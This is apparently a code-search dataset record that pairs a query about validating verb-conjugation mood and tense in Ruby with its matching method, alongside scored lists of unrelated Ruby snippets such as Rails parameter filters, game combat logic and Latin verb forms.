\"small\"\n\n ruby_code_from_view.ruby_code_from_view do |rb_from_view|\n og_prefix \n page_title yield(:page_title) \n if @post.present? \n og_page_post_tags(@post) \n else \n og_general_tags \n end \n \n chartbeat_head_block \n include_mixpanel \n include_color_theme \n if rtl? \n stylesheet_link_tag :rtl, media: 'all' \n end \n old_browser_js_support \n javascript_include_tag :ie \n jquery_include_tag \n unless @landing_page \n javascript_include_tag :main, :templates \n load_javascript_locales \n end \n translation_missing_warnings \n current_user_atom_tag \n yield(:head) \n csrf_meta_tag \n include_gon(camel_case: true) \n yield :before_content \n \n aspect_membership_dropdown(@contact, @person, 'right', nil, size) \n \n yield :after_content \n include_chartbeat \n include_mixpanel_guid \n flash_messages \n\nend\n\n end", "def strategy\n\n attacks_in_last_24_hours = Action.where([\"type_id = ? OR type_id = ?\", Action::TYPE_ATTACK_USER, Action::TYPE_ATTACK_USER_DDOS]).where(target_id: id, target_type: \"User\", completed: true).where(\"completed_at >= ?\", DateTime.now-24.hours).count\n\n # how often was the player succesfully attacked in the last 24 hours?\n if successful_attacks_in_last_24_hours > 0 && !counterattack_successful?\n agressiveness = (successful_attacks_in_last_24_hours.to_f/attacks_in_last_24_hours.to_f*100).to_i\n else\n agressiveness = 50\n end\n\n # how many other players can be attacked by this player?\n other_players = User.where([\"id != ?\", id])\n attack_opportunities = 0\n stronger_opportunities = 0\n weaker_opportunities = 0\n total_opportunities = other_players.count*2\n other_players.each do |player|\n [:hack, :ddos].each do |type|\n attack_opportunities += 1 if can_attack?(player, type)\n weaker_opportunities += 1 if to_strong_for(player, type)\n stronger_opportunities += 1 if to_weak_for(player, type)\n end\n end\n\n # assume that own defense is too low if defense is less than 33% of all attributes and more than 25% of other players are stronger\n if (hacking_ratio+defense_ratio+botnet_ratio) > 0 && \n ((defense_ratio.to_f/(hacking_ratio.to_f+defense_ratio.to_f+botnet_ratio.to_f)*100).round(0) < 33) &&\n (stronger_opportunities.to_f/total_opportunities.to_f*100).round(0) > 25\n defensiveness = 100\n else\n defensiveness = 50\n end\n\n # determine strategy according to relation between agressiveness and defensiveness\n if agressiveness > defensiveness\nRails.logger.info(\"---> AI: my strategy is agressive\")\n :agressive\n elsif agressiveness < defensiveness\nRails.logger.info(\"---> AI: my strategy is defensive\")\n :defensive\n else\nRails.logger.info(\"---> AI: my strategy is moderate\")\n :moderate\n end\n end", "def anticipation_params\n params.require(:anticipation).permit(:name, :emotion_name, :title, :size_mb, :records, :file, :formula, :chemistry, :legal_status, :clinical_data, :cas_number, :states, :attitudes, :affection, :drug, :side_effects, :causes, :psychology, :theroy)\n end", "def active_voice_subjunctive_mood_present_tense\n return @proxyVerb.send :active_voice_subjunctive_mood_present_tense\n end", "def setup_aftinfo\n @afrate = @acts[1] || 3\n @afopac = @acts[2] || 20\n end", "def setup_aftinfo\n @afrate = @acts[1] || 3\n @afopac = @acts[2] || 20\n end", "def adoption_params\n params.require(:adoption).permit(:comment, :approved)\n end", "def attribute_set(name, value) \n if (name.to_sym == :aspects)\n @assigned_aspects = value\n else\n super(name, value)\n end\n end", "def explain3(options={})\n animal = options.fetch(:the) { \"cow\" }\n sound = options.fetch(:says){ \"moo\" }\n \"the #{animal} says #{sound}\"\nend", "def setup_with_audit!\n self.settings = audit_user.settings\n self.treatments = reified_actives_for(\"treatments\").map do |t|\n # uniq_name = \"treatment_#{t[\"name\"]}\"\n # quantity, unit = settings[\"#{uniq_name}_quantity\"], settings[\"#{uniq_name}_unit\"]\n\n {name: t[\"name\"], quantity: nil, unit: nil}\n end\n self.conditions = reified_actives_for(\"conditions\").map(&:name)\n self.catalogs = self.conditions.map { |c| CATALOG_CONDITIONS[c] }.compact\n\n save_without_processing\n self\n end", "def commensurably_nemathecium(contentional, arraignment_yeo)\n objectization_underpressure_beautifully()\n adolescent(government)\n end", "def explain2(options={})\n animal = options[:the]\n sound = options[:says]\n \"the #{animal} says #{sound}\"\nend", "def cog\n @cog * unanticipated_adjustment_factor\nend", "def potion; end", "def invention; end", "def educational_attainment; end", "def create_opinion\n PaperTrail.request(enabled: false) do\n @opinion = Decidim.traceability.perform_action!(\n :create,\n Decidim::Opinions::Opinion,\n @current_user,\n visibility: \"public-only\"\n ) do\n opinion = Opinion.new(\n title: title_with_hashtags,\n body: body_with_hashtags,\n component: form.component\n )\n opinion.add_coauthor(@current_user, user_group: user_group)\n opinion.save!\n opinion\n end\n end\n end", "def adopt_word\n @word = Word.find(params[:id])\n @adoption = Adoption.new\n @adoption.adopt_a_word(word)\n end", "def activity_complements\n\n context.render_entity_aspects(activity, :activity)\n\n end", "def colony_ant_params\n params.require(:colony_ant).permit(:set, :max_it, :num_ants, :decay, :c_heur, :c_local_phero, :c_greed)\n end", "def active_voice_indicative_mood_pastperfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [Linguistics::Latin::Verb::LatinVerb::APERF_PAST_ENDINGS.collect{|x| substem+x}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_pastperfect_tense] }\n end", "def objective_textual_params\n params.require(:objective_textual).permit(:lesson, :statement, :a, :b, :c, :d)\n end", "def concert_params\n params.require(:concert).permit(:theater_id, :title)\n end", "def update!(**args)\n @fallback_aspect = args[:fallback_aspect] if args.key?(:fallback_aspect)\n @saft_aspect = args[:saft_aspect] if args.key?(:saft_aspect)\n end", "def promotion_directives\n context[:promotion_directives] ||= {}\n end", "def invention_chance\n\tbase_chance = 0.0\n\tgid = self.item.groupID\n\ttid = self.item.typeID\n\tif gid == 27 || gid == 419 || tid == 22544\n\t\tbase_chance = 0.2\n\telsif gid == 26 || gid == 28 || tid == 22548\n\t\tbase_chance = 0.25\n\telsif gid == 25 || gid == 420 || gid == 513 || tid == 22546\n\t\tbase_chance = 0.3\n\telse\n\t\tbase_chance = 0.4\n\tend\n\n# TODO determine which datacores are needed and the skill level associated with that datacore\n# character = Character.find(char_id)\n# encryption_skill_level = character.skill_level(...)\n# datacore_1_skill_level = character.skill_level(...)\n# datacore_2_skill_level = character.skill_level(...)\n\tencryption_skill_level = 3\n\tdatacore_1_skill_level = 3\n\tdatacore_2_skill_level = 3\n\tmeta_level = 0\n\tdecryptor_modifier = 1.0\n\tbase_chance * (1.0 + (0.01 * encryption_skill_level)) * (1.0 + ((datacore_1_skill_level + datacore_2_skill_level) * (0.1 / (5.0 - meta_level)))) * decryptor_modifier\nend", "def ideology_params\n params.require(:ideology).permit(:name, :definition, :definition_source, :economic_effect, :diplomatic_effect, :government_effect, :societal_effect)\n end", "def offenses; end", "def offenses; end", "def offenses; end", "def threat_intelligence=(value)\n @threat_intelligence = value\n end", "def opinion_params\n params.require(:opinion).permit(:content)\n end", "def conjugate(infinitive, options = {})\n infinitive = infinitive.dup if infinitive.is_a?(String)\n\n # set all options according to parameter, or the default\n tense = options[:tense] || :present # present, past, future\n person = options[:person] || :third # first, second, third\n plurality = options[:plurality] || :singular # singular, plural\n diathesis = options[:diathesis] || :active # active, passive\n mood = options[:mood] || :indicative # imperative, subjunctive\n aspect = options[:aspect] || default_aspect(options) # perfective, habitual, progressive, perfect, prospective\n\n check_for_improper_constructions(infinitive, tense, person, mood, diathesis) # find incompatabilities\n form = form_for(tense, aspect, diathesis) # find form array based on tense and aspect\n\n # map form array to conjugation array, applying infinitive and options to the array\n conjugation = form.map { |e| resolve e, infinitive, tense, person, plurality, mood }.join(' ').strip\n\n if options[:subject] # When options includes a subject,\n actor = options.delete(:subject) # remove from options and make subject humanized\n actor = subject(options).humanize if actor.is_a?(TrueClass)\n end\n\n \"#{actor} #{conjugation}\".strip\n end", "def rate_analysts_opinion(analysts_opinion)\n # Small caps are rated positive if only a few (less than five) analysts watch the stock\n raise RatingError, \"Could not rate analysts opinions\", caller\n end", "def adoption\n AdoptionMailer.delay.interest_email(@tool.id, @tool.class.name, current_user.id)\n\n redirect_to(\n @tool,\n notice: t(\n \"adoption.email_sent\",\n cookbook_or_tool: @tool.name\n )\n )\n end", "def ad_params\n params.require(:ad).permit(:variations, :description)\n end", "def aspect(*values)\n values.inject(self) { |res, val| res._aspect(val) or fail ArgumentError, \"Unknown value for aspect: #{val}\" }\n end", "def passive_voice_indicative_mood_futureperfect_tense# {{{\n return TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_FUTURE_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_futureperfect_tense] }\n )\n end", "def skill_effect(user, skill)\n # Clear critical flag\n self.critical = false\n # If skill scope is for ally with 1 or more HP, and your own HP = 0,\n # or skill scope is for ally with 0, and your own HP = 1 or more\n if ((skill.scope == 3 or skill.scope == 4) and self.hp == 0) or\n ((skill.scope == 5 or skill.scope == 6) and self.hp >= 1)\n # End Method\n return false\n end\n # Clear effective flag\n effective = false\n # Set effective flag if common ID is effective\n effective |= skill.common_event_id > 0\n # First hit detection\n hit = skill.hit\n if skill.atk_f > 0\n hit *= user.hit / 100\n end\n hit_result = (rand(100) < hit)\n # Set effective flag if skill is uncertain\n effective |= hit < 100\n # Si Golpeas\n if hit_result == true\n if Wep::Atribute_mod_skills[skill.id] != nil\n # Extract and calculate effect\n # Calculate power\n ef = Wep::Atribute_mod_skills[skill.id][0] + user.atk * skill.atk_f / 100\n ef -= self.pdef * skill.pdef_f / 200\n ef -= self.mdef * skill.mdef_f / 200\n # Calculate rate\n ra = 20\n ra += (user.str * skill.str_f / 100)\n ra += (user.dex * skill.dex_f / 100)\n ra += (user.agi * skill.agi_f / 100)\n ra += (user.int * skill.int_f / 100)\n # Calculate total effect\n total_ef = ef * ra / 20\n # Apply dispersion\n if skill.variance > 0\n amp = [total_ef * skill.variance / 100, 1].max\n total_ef += rand(amp+1) + rand(amp+1) - amp\n end\n \n # Apply if exist\n case Wep::Atribute_mod_skills[skill.id][1]\n \n when 'maxhp':\n self.atr_mod_list.maxhp += total_ef\n when 'maxsp':\n self.atr_mod_list.maxsp += total_ef\n \n when 'str':\n self.atr_mod_list.str += total_ef\n when 'dex':\n self.atr_mod_list.dex += total_ef\n when 'int':\n self.atr_mod_list.int += total_ef\n when 'agi':\n self.atr_mod_list.agi += total_ef\n \n when 'atk':\n self.atr_mod_list.atk += total_ef\n when 'pdef':\n self.atr_mod_list.pdef += total_ef\n when 'mdef':\n self.atr_mod_list.mdef += total_ef\n when 'eva':\n self.atr_mod_list.eva += total_ef\n end\n end\n \n # Calculate power\n power = skill.power + user.atk * skill.atk_f / 100\n if power > 0\n power -= self.pdef * skill.pdef_f / 200\n power -= self.mdef * skill.mdef_f / 200\n power = [power, 0].max\n end\n # Calculate rate\n rate = 20\n rate += (user.str * skill.str_f / 100)\n rate += (user.dex * skill.dex_f / 100)\n rate += (user.agi * skill.agi_f / 100)\n rate += (user.int * skill.int_f / 100)\n # Calculate basic damage\n self.damage = power * rate / 20\n # Element correction\n self.damage *= elements_correct(skill.element_set)\n self.damage /= 100\n # If damage value is strictly positive\n if self.damage > 0\n # Guard correction\n if self.guarding?\n self.damage /= 2\n end\n end\n # Dispersion\n if skill.variance > 0 and self.damage.abs > 0\n amp = [self.damage.abs * skill.variance / 100, 1].max\n self.damage += rand(amp+1) + rand(amp+1) - amp\n end\n # Second hit detection\n eva = 8 * self.agi / user.dex + self.eva\n hit = self.damage < 0 ? 100 : 100 - eva * skill.eva_f / 100\n hit = self.cant_evade? ? 100 : hit\n hit_result = (rand(100) < hit)\n # Set effective flag if skill is uncertain\n effective |= hit < 100\n end\n # If hit occurs\n if hit_result == true\n # If physical attack has power other than 0\n if skill.power != 0 and skill.atk_f > 0\n # State Removed by Shock\n remove_states_shock\n # Set to effective flag\n effective = true\n end\n # Substract damage from HP\n last_hp = self.hp\n self.hp -= self.damage\n effective |= self.hp != last_hp\n # State change\n @state_changed = false\n if Wep::Skill_state_rates[skill.id] != nil\n state_add = []\n state_remove = []\n # Loop over state rates and check the posibiltys. Create a state list.\n for state_rate in Wep::Skill_state_rates[skill.id]\n if rand(100) < state_rate[1]\n state_add.push(state_rate[0])\n for s in state_rate[2]\n state_remove.push(s)\n end\n end\n end\n states_plus(state_add)\n states_minus(state_remove)\n #effective |= states_plus(state_add)\n #effective |= states_minus(state_remove)\n else\n states_plus(skill.plus_state_set)\n states_minus(skill.minus_state_set)\n #effective |= states_plus(skill.plus_state_set)\n #effective |= states_minus(skill.minus_state_set)\n end\n # If power is 0\n if skill.power == 0\n # No damage\n self.damage = \"\"\n # If state does not change\n unless @state_changed\n # Miss\n self.damage = \"Miss\"\n end\n end\n else\n # Miss\n self.damage = \"Miss\"\n end\n unless $game_temp.in_battle\n self.damage = nil\n end\n return effective\n end", "def modeler_description\n return 'This measure receives the AntiSweat heater Control from the user. Then it looks for refrigerated display cases; it loops through them; it checks the current AntiSweat heater Control of each case and it substitute it with the one chosen by the user.'\n end", "def contest_params\n\n params[:contest][:reward] = params[:contest][:reward].delete(\"$\").split(\",\").join('') if params[:contest][:reward].present?\n params.require(:contest).permit(:name, :end_hour, :start_hour, :description, :judging_criteria, :additional_details, :start_date, :caption_image, :premium,\n :end_time, :reward, :sponsor, :sponsor_photo, :sponsor_url, :sponsor_desc, :show_image, :status, :private, :admin_id, :cover_photo, :show_entry_user_name, :max_entries_per_user, :descriptionl,\n :multiple_images, :banner_photo, :fav_at_home, :cover_m_photo, :show_image_on_entry )\n end", "def silly_adjective; end", "def active_voice_indicative_mood_perfect_tense\n return @proxyVerb.send :passive_voice_indicative_mood_perfect_tense\n end", "def confidence; end", "def getAdvocacy\n\t\t\n\tend", "def edit_advice\n @questionnaire = get(Questionnaire, params[:id])\n \n for question in @questionnaire.questions\n if question.true_false\n num_questions = 2\n else\n num_questions = @questionnaire.max_question_score - @questionnaire.min_question_score\n end\n \n sorted_advice = question.question_advices.sort {|x,y| y.score <=> x.score } \n if question.question_advices.length != num_questions or\n sorted_advice[0].score != @questionnaire.min_question_score or\n sorted_advice[sorted_advice.length-1] != @questionnaire.max_question_score\n # The number of advices for this question has changed.\n QuestionnaireHelper::adjust_advice_size(@questionnaire, question)\n end\n end\n @questionnaire = get(Questionnaire, params[:id])\n end", "def incarnation_params\n params.require(:incarnation).permit(:profile_id, :kind, :title, :name, :gender, :other_gender, :gold, :gems, :hitpoints, :max_hitpoints, :mana, :max_mana, :experience, :level, :turns, :location_id, :coroutine, :display)\n end", "def decisions\n\t\t@empresa = getMyEnterpriseAPP\n\n\t\tif !@empresa.nil?\n\t\t\t@dims = [DIM_DEC_1, DIM_DEC_2, DIM_DEC_3, DIM_DEC_4, DIM_DEC_5, DIM_DEC_6]\n\t\t\t# ES: Envia las genericas ordenadas por dimension, para realizar el agrupamiento:\n\t\t\t# EN: # Send the generic decisions, sorted by dimension, to perform a grouping:\n\t\t\t@genericas = GovernanceDecision.where(\"decision_type = ? AND enterprise_id = ?\", GENERIC_TYPE, @empresa.id).order(dimension: :asc)\n\t\t\t# ES: Envia las especificas ordenadas por su padre, para realizar el agrupamiento:\n\t\t\t# EN: # Send the generic decisions, sorted by its father, to perform a grouping\n\t\t @genericas.size == 0 ? @tieneDecisiones = false : @tieneDecisiones = true\n\t\t @especificas = GovernanceDecision.where(\"decision_type = ? AND enterprise_id = ?\", SPECIFIC_TYPE, @empresa.id).order(parent_id: :asc)\n\t\telse\n\t\t\tredirect_to main_app.root_url, :alert => 'ERROR: Enterprise not found. Select one from the initial menu'\n\t\tend\n\tend", "def assumption_params\n params.require(:assumption).permit(:instruction, :scenario_id)\n end", "def assessment_params\n params.require(:assessment).permit(:story_id, :duplicate, :importance, :valence, :match_value_id, :match_strength, :value_violation, :value_violated_id, :comments, :restrict_comments)\n end", "def adopt_params\n params.permit(:user_id, :animal_id, :amount)\n end", "def curation_experience_params\n\n end", "def techniques= args\n @techniques = args\n @ingredients = args.select{|arg| arg.is_a? Ingredient}\n end" ]
[ "0.5956828", "0.5761539", "0.5691567", "0.5603815", "0.5601502", "0.55969757", "0.5583276", "0.552205", "0.5505569", "0.5460117", "0.54165137", "0.5380422", "0.5377104", "0.53649026", "0.5359932", "0.53535897", "0.5346977", "0.5334277", "0.53219116", "0.5309818", "0.53012383", "0.52975845", "0.52843285", "0.5272969", "0.5266604", "0.52540183", "0.5252758", "0.5231999", "0.5228828", "0.52210176", "0.51737124", "0.5171228", "0.51628244", "0.5156244", "0.5152845", "0.51283246", "0.512733", "0.5119985", "0.5109848", "0.509658", "0.5078859", "0.50648785", "0.5061948", "0.5049195", "0.5046811", "0.5043708", "0.502934", "0.50202364", "0.5004519", "0.49961582", "0.49517253", "0.49492013", "0.49492013", "0.49449995", "0.49412298", "0.49354234", "0.49298957", "0.49179223", "0.4901417", "0.48990092", "0.48814246", "0.48807248", "0.48801613", "0.48693332", "0.48641744", "0.48601228", "0.48466286", "0.48400292", "0.48374104", "0.48162195", "0.48069006", "0.48008284", "0.4798749", "0.4790775", "0.47898597", "0.47898597", "0.47898597", "0.47808146", "0.47734398", "0.47720116", "0.47615564", "0.4758334", "0.47535926", "0.47521704", "0.4749869", "0.474905", "0.4747783", "0.47461578", "0.4743298", "0.4741113", "0.47406843", "0.47403932", "0.47365287", "0.47321242", "0.47310358", "0.47290778", "0.47280967", "0.47201645", "0.47199005", "0.4718266" ]
0.5515574
8
Confirm an imperative mood contains the present tense and second person Params: tense, an option given by the user person, how the conjugation refers to the subject mood, an option given by the user diathesis, an option given by the user
def check_for_improper_constructions(infinitive, tense, person, mood, diathesis) if (mood == :imperative) && !((person == :second) && (tense == :present)) raise Verbs::ImproperConstruction, 'The imperative mood requires present tense and second person' end if (infinitive.to_sym == :be) && (diathesis == :passive) raise Verbs::ImproperConstruction, 'There is no passive diathesis for the copula' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mood\n #it \"has a method 'mood' that returns 'happy' when the user is more happy than nauseous\" do\n if self.happiness && self.nausea\n if self.happiness > self.nausea\n \"happy\"\n #it \"has a method 'mood' that returns 'sad' when the user is more nauseous than happy\" do\n elsif self.happiness < self.nausea\n \"sad\"\n end\n end\n end", "def passive_voice_subjunctive_mood_perfect_tense\n counter = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PERF_SUBJUNCTIVE_ENDINGS.map do |ending|\n counter += 1\n (counter <=2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def active_voice_subjunctive_mood_perfect_tense\n asp_base =\n first_person_perfect[0..first_person_perfect.length-2] +\n \"erī\"\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def passive_voice_subjunctive_mood_present_tense\n end", "def active_voice_subjunctive_mood_present_tense\n end", "def passive_voice_indicative_mood_perfect_tense\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PRESENT_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_perfect_tense] }\n )\n end", "def mood \n if self.happiness && self.nausea\n mood = self.happiness - self.nausea\n mood > 0 ? \"happy\" : \"sad\"\n end\n end", "def pregnancy_to_confirm\n # TODO: add (Just to confirm) . . . if participant known to be pregnant\n \"A\"\n end", "def passive_voice_subjunctive_mood_pastperfect_tense# {{{\n count = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PLUPERF_PAST_ENDINGS.map do |ending|\n count += 1\n (count <= 2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def mood\n if nausea && happiness\n self.nausea > self.happiness ? \"sad\" : \"happy\" \n end\n end", "def mood\n if !nausea || !happiness\n return \"\"\n elsif nausea >= happiness\n return \"sad\"\n elsif happiness > nausea\n return \"happy\"\n end\n end", "def mood\n if self.nausea && self.happiness\n self.nausea > self.happiness ? (return \"sad\") : (return \"happy\")\n end\n end", "def mood\n if self.happiness && self.nausea\n self.happiness > self.nausea ? \"happy\" : \"sad\"\n end\n end", "def mood\n if self.nausea > self.happiness\n \"sad\"\n else\n \"happy\"\n end\n end", "def mood\n if self.happiness && self.nausea\n mood = self.happiness - self.nausea\n mood > 0 ? \"happy\" : \"sad\"\n end\nend", "def mood\n \tself.happiness > self.nausea ? \"happy\" : \"sad\" if self.happiness && self.nausea\n end", "def mood\n if self.happiness < self.nausea\n \"sad\"\n else\n \"happy\"\n end\n end", "def active_voice_subjunctive_mood_pastperfect_tense# {{{\n asp_base = first_person_perfect[0..first_person_perfect.length-2] + \"issē\"\n TenseBlock.new( ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def passive_voice_indicative_mood_present_tense\n end", "def mood\n unless admin\n happiness > nausea ? 'happy' : 'sad'\n end\n end", "def active_voice_indicative_mood_perfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [first_person_perfect.to_s, Linguistics::Latin::Verb::LatinVerb::APERF_ENDINGS.collect{|x| substem+x.to_s}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_perfect_tense] }\n end", "def test_mood3\n assert_equal @p.mood?([5, 0]), 'sad.'\n end", "def active_voice_indicative_mood_present_tense\n end", "def test_mood2\n assert_equal @p.mood?([1, 0]), 'sad.'\n end", "def response_to(mate)\n acceptance = false\n if @sex == Female and mate.sex == Male\n reaction = rand\n acceptance = (reaction <= mate.attractiveness/1000.0)\n end\n acceptance\n true\n end", "def mood\n\t\tself.nausea < self.happiness ? mood = \"happy\" : mood = \"sad\"\n\tend", "def active_voice_subjunctive_mood_imperfect_tense\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n present_active_infinitive.sub(/e$/,'ē') + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def passive_voice_indicative_mood_pastperfect_tense# {{{\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PAST_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_pastperfect_tense]}\n )\n end", "def confirm_invitation\n @teammate = Teammate.find(params[:teammate_id])\n return redirect_to forbidden_path unless @teammate.user_id == @current_user.id\n\n if params[:confirm] == 'accept'\n verified = @teammate.verify\n verified ? msg = 'Bem-vindo ao Time de Tripulantes!' : msg = 'Oops! Ocorreu um erro, tente novamente. Caso o erro persista peça para ser adicionado novamente ao time.'\n return redirect_to pitch_teammate_path(@pitch, @teammate), flash: { notice: msg }\n elsif params[:confirm] == 'decline'\n @teammate.destroy\n msg = \"Convite do time #{@teammate.pitch.name} Rejeitado com Sucesso.\"\n return redirect_to root_path, flash: { notice: msg }\n end\n end", "def test_mood6\n assert_equal @p.mood?([100, 0]), 'victorious!'\n end", "def mood\n self.happiness > self.nausea ? \"happy\" : \"sad\"\n end", "def test_mood4\n assert_equal @p.mood?([9, 0]), 'sad.'\n end", "def test_mood5\n assert_equal @p.mood?([10, 0]), 'victorious!'\n end", "def passive_voice_indicative_mood_imperfect_tense\n end", "def query_gender_neutral\n print 'Would you prefer a gender neutral experience? y/n '\n query_yesno == 'y' ? (return true) : (return false)\nend", "def active_voice_indicative_mood_imperfect_tense\n end", "def says (opinion)\n puts \"#{name} says #{opinion}\"\n end", "def tell_fortune()\r\n\t\tprint \"The answer is \" + $predicition + \". \\n\\n: \"\r\n\tend", "def confirm(prompt)\n return true if config[:yes]\n valid_responses = %w[yes no y n]\n response = nil\n 3.times do\n response = ui.ask(prompt).downcase\n break if valid_responses.include? response\n ui.warn \"Valid responses are #{valid_responses}\"\n end\n response.match(/^y/)\n end", "def passive_voice_subjunctive_mood_imperfect_tense\n base = present_active_infinitive.gsub(/(.*)(.)$/,\"\\\\1\" + 'ē')\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASSIVE_ENDINGS_FIRST_AND_SECOND_CONJG.map do |ending|\n base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def assess_situation(danger_level, save_the_day, bad_excuse)\n if danger_level > 50\n p \"#{bad_excuse}\"\n \n elsif danger_level < 50 || danger_level > 10\n p \"#{save_the_day}\"\n \n elsif danger_level < 10\n p \"Meh. Hard pass.\"\n end\nend", "def submission_confirmation(nominee_conf, client_conf, award_level_conf)\n puts \"You have successfully nominated: #{nominee_conf}\"\n puts \"Client: #{client_conf} and Level of Influence: #{award_level_conf}\"\n puts \"If this is incorrect, please refresh and try again.\"\nend", "def confirm(message='Are you sure?')\n while true\n tell_user [message, '(Y)es | (N)o']\n case input = user_input\n when /y|yes/ then return true\n when /n|no/ then return false\n else tell_user \"Invalid option: '#{input}'\"\n end\n end\n end", "def info_show_profession_of_faith\n chosen_baptized_catholic? && !baptized_catholic\n end", "def meal_choice (veg1, veg2, protein = \"meat\")\n food_message1 = \"What a nutritious meal!\"\n food_message2 = \"A plate of #{protein} with #{veg1} and #{veg2}.\"\n puts food_message1\n puts food_message2\n return food_message1 && food_message2\nend", "def assess_situation(danger_level, save_the_day, bad_excuse)\n if danger_level > 50\n p \"#{bad_excuse}\"\n elsif danger_level < 50 && danger_level < 10\n p \"#{save_the_day}\"\n elsif danger_level < 10\n p \"Meh. Hard Pass.\"\n end\nend", "def assess_situation(danger_level, save_the_day, bad_excuse)\n if danger_level > 50\n p bad_excuse\n elsif danger_level > 10 && danger_level < 50\n p save_the_day\n else\n p \"Meh. Hard pass.\"\n end\nend", "def suggest_new_possibility?\n puts \"\"\n puts \"Would you like us to suggest a new possibility?\"\n puts \"\"\n puts \"1. Yes, give me more.\"\n puts \"2. Yes and I'd like to change my time and location first.\"\n puts \"3. No, I've had enough.\"\n puts \"\"\n self.suggest_another = gets.strip\n self.quit if self.suggest_another == \"quit\"\n if [\"1\", \"2\", \"3\"].all? { |i| self.suggest_another != i}\n self.what_was_that?\n self.suggest_new_possibility?\n end\n self.continue?\n end", "def passive_voice_indicative_mood_futureperfect_tense# {{{\n return TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_FUTURE_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_futureperfect_tense] }\n )\n end", "def probability (user_age, year_born, garlic_bread, insurance)\n if user_age <= 120 && year_born >= 1897 && garlic_bread == \"yes\" && insurance == \"yes\"\n p \"Probably not a vampire.\"\n elsif user_age >= 120 && year_born <= 1897 && (garlic_bread == \"no\" || insurance == \"no\")\n p \"Probably a vampire\"\n elsif user_age >= 120 && year_born <= 1897 && garlic_bread == \"no\" && insurance == \"no\"\n p \"Almost certainly a vampire\"\n else\n p \"Results inconclusive\"\n end\nend", "def tell_the_truth(options={})\n if options[:profession] == :lawyer\n \"it could be believed that this was almost certaily not false.\"\n else\n true\n end\nend", "def test_mood1\n assert_equal @p.mood?([0, 0]), 'empty-handed.'\n end", "def court(mate)\n response = false\n if @sex == Male and mate.sex == Female\n response = mate.response_to(self)\n @rejections = (response==true) ? 0 : @rejections+=1\n # self esteem takes a dive if you get rejected too often\n @virility = 0 if @rejections >= RejectionThreshold\n end\n response\n end", "def active_voice_indicative_mood_pastperfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [Linguistics::Latin::Verb::LatinVerb::APERF_PAST_ENDINGS.collect{|x| substem+x}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_pastperfect_tense] }\n end", "def questionOne(frustration)\n if frustration == \"Yes\"\n return 3\n end \n \n if frustration == \"Not at all\"\n return 1\n end \n \n if frustration == \"I can't tell\"\n return 2\n end\nend", "def boolean_answers_person(player, player_result, right_result, dsp_result)\n # condition matching the player result with right result\n if player_result == right_result\n system(\"clear\")\n view_current\n puts \"You picked: \\n#{dsp_result}\"\n puts Paint[\"Woo! Correct!\" + \" \\u{2705}\" + \" \" + \"\\u{1f600}\", :green]\n system (\"say yay\")\n player.increase_score\n @player_correct << true\n else\n system(\"clear\")\n view_current\n puts \"You picked: \\n#{dsp_result}\"\n puts Paint[\"Fail bro.\" + \" \\u{274c}\" + \" \" + \"\\u{1f625}\", :red]\n system (\"say damn\")\n @player_correct << false\n end\n end", "def assess_situation(danger_level, save_the_day, bad_excuse)\n # danger_level = 75\n # save_the_day = \"All in a day's work.\"\n # 